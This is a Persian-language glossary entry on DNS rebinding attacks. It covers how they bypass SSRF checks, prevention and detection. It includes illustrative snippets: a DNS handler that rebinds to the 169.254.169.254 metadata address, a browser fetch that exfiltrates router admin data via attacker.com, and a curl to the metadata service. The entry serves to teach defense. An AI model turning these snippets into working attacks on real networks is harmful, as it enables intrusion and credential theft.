بازپیوندیِ DNS
حملهای که در آن مهاجم آدرس IP یک دامنه را در میانه درخواست تغییر میدهد، با اشاره اولیه به IP امن و سپس تغییر به IP داخلی/مخرب، بررسیهای امنیتی را دور میزند.
تعریف کوتاه
DNS rebinding زمانی است که مهاجمان یک دامنه را کنترل میکنند و مدام آدرس IP آن را تغییر میدهند. ابتدا، بررسی امنیتی میبیند که به یک IP امن اشاره میکند (عبور میکند). سپس، قبل از درخواست واقعی، آن را تغییر میدهند تا به سرورهای داخلی اشاره کند (حمله موفق میشود). زمانبندی همه چیز است.
تعریف کامل
DNS rebinding از شکاف بین بررسیهای رزولوشن DNS و اتصالات شبکه واقعی با تغییر رکوردهای DNS با TTL (زمان تا انقضا) بسیار کوتاه بهرهبرداری میکند.
جریان حمله:
۱. مهاجم کنترل میکند: evil.com ۲. تنظیم TTL DNS: ۰ ثانیه (انقضای فوری) ۳. رزولوشن اولیه: evil.com → 1.2.3.4 (سرور مهاجم) ۴. بررسی امنیتی: "1.2.3.4 امن است" ✓ ۵. رکورد DNS تغییر میکند: evil.com → 192.168.1.1 (IP داخلی) ۶. درخواست واقعی: دوباره حل میکند، 192.168.1.1 میگیرد ۷. درخواست به: سرور داخلی میرود
چرا کار میکند:
- کش DNS ممکن است با TTL=0 دور زده شود
- بررسیهای امنیتی و درخواستهای واقعی کش DNS مشترک ندارند
- برنامهها برای هر درخواست DNS را دوباره حل میکنند
- هیچ اعتبارسنجیای برای ثابت ماندن IP وجود ندارد
چرا مهم است
- محافظتهای SSRF مبتنی بر IP را دور میزند
- حتی با لیست سفید دامنه مناسب کار میکند
- دفاع در برابر آن دشوار است
- میتواند مرورگرها، سرورها، دستگاههای IoT را هدف قرار دهد
- دسترسی به شبکههای داخلی را ممکن میسازد
چگونه مهاجمان از آن استفاده میکنند
دور زدن کلاسیک SSRF:
1# کد برنامه:2url = user_input # "http://attacker.com/path"3parsed = urlparse(url)45# بررسی امنیتی:6ip = socket.gethostbyname(parsed.hostname)7if not is_private_ip(ip): # بررسی عبور میکند: IP عمومی8 # فاصله زمانی اینجا!9 response = requests.get(url) # دوباره حل میکند، IP خصوصی میگیرد10 return response
راهاندازی حمله:
1# سرور DNS مهاجم به صورت پویا پاسخ میدهد:2def handle_dns_query(domain):3 if request_count(domain) == 0:4 return "1.2.3.4" # IP عمومی برای اولین درخواست5 else:6 return "169.254.169.254" # سرویس متادیتا برای دومین
حمله مبتنی بر مرورگر:
1// صفحه مخرب در مرورگر بارگیری میشود2fetch('http://attacker.com/rebind')3 .then(() => {4 // DNS rebinding اتفاق افتاد5 // اکنون به 192.168.1.1 (روتر) اشاره میکند6 // میتواند به صفحه مدیریت روتر دسترسی یابد7 fetch('http://attacker.com/admin')8 .then(data => exfiltrate(data));9 });
چگونه تشخیص یا پیشگیری کنیم
پیشگیری:
۱. دوباره حل کنید و قبل از هر درخواست دوباره بررسی کنید:
1def safe_fetch(url):2 # بررسی اولیه3 ip1 = resolve(url)4 if is_private_ip(ip1):5 reject()67 # مکث برای اعمال هرگونه تغییر DNS8 time.sleep(1)910 # دوباره بررسی درست قبل از درخواست11 ip2 = resolve(url)12 if ip2 != ip1 or is_private_ip(ip2):13 reject()1415 # درخواست را با استفاده مستقیم از IP انجام دهید16 return requests.get(f"http://{ip2}{path}")
۲. استفاده از IP به جای نام میزبان:
1# یک بار حل کنید، در همه جا از IP استفاده کنید2ip = resolve_and_validate(hostname)3response = requests.get(4 f"http://{ip}{path}",5 headers={"Host": hostname}6)
۳. حداقل TTL DNS:
1# نادیده گرفتن TTL زیر آستانه2def resolve(hostname):3 result = dns.query(hostname)4 if result.ttl < 300: # حداقل ۵ دقیقه5 result.ttl = 3006 return result.ip
۴. ثابت کردن رزولوشن DNS:
1# استفاده از یک رزولوشن برای کل عملیات2with dns_pinned(url):3 validate(url)4 response = fetch(url)5 process(response)
محافظتهای مرورگر:
- محدودیتهای پیشواکشی DNS
- محدودیتهای دسترسی به شبکه خصوصی (Chrome)
- CORS با محافظتهای DNS rebinding
تشخیص:
- نظارت بر پرسوجوهای DNS با TTL=0
- هشدار در مورد دامنههایی که به سرعت به IPهای مختلف حل میشوند
- ردیابی دامنههایی که از عمومی به خصوصی تغییر میکنند
- ثبت IP اعتبارسنجی و IP درخواست واقعی
باورهای غلط رایج
- "یک بار بررسی IP کافی است" - DNS میتواند تغییر کند
- "TTL=0 باید مسدود شود" - گاهی قانونی است
- "HTTPS از این جلوگیری میکند" - گواهی ممکن است همچنان معتبر باشد
- "فقط بر مرورگرها تأثیر میگذارد" - برنامههای سمت سرور نیز
- "فایروال آن را مسدود میکند" - فایروال درخواست خروجی معتبر میبیند
مثال واقعی
ربودن روتر (۲۰۱۸)
۱. قربانی بازدید میکند: evil-ad.com (تبلیغ مخرب) ۲. رزولوشن اولیه: evil-ad.com → 1.2.3.4 (CORS را پاس میکند) ۳. DNS rebinding: evil-ad.com → 192.168.1.1 (روتر) ۴. درخواستهای JavaScript: اکنون به مدیریت روتر دسترسی دارد ۵. بهرهبرداری: تغییر تنظیمات DNS، تغییر مسیر ترافیک
بهرهبرداری از متادیتا در Kubernetes
1# دامنه مهاجم: rebind.example.com2# TTL: ۰34# رزولوشن اولیه:5rebind.example.com → 52.1.2.3 (لیست سفید را پاس میکند)67# رزولوشن دوم (میکروثانیه بعد):8rebind.example.com → 169.254.169.254 (متادیتا)910# برنامه درخواست میکند:11curl http://rebind.example.com/latest/meta-data/12# در واقع به سرویس متادیتا میخورد
Singularity of Origin
ابزار عمومی که DNS rebinding را نشان میدهد:
- هدف قرار دادن سرویسهای داخلی
- چرخش خودکار IP
- بهرهبرداریهای از پیش ساخته برای روترها، پنلهای مدیریت
- تأثیر واقعی را نشان میدهد
اصطلاحات مرتبط
DNS, SSRF, Bypass, URL Parser, Same-Origin Policy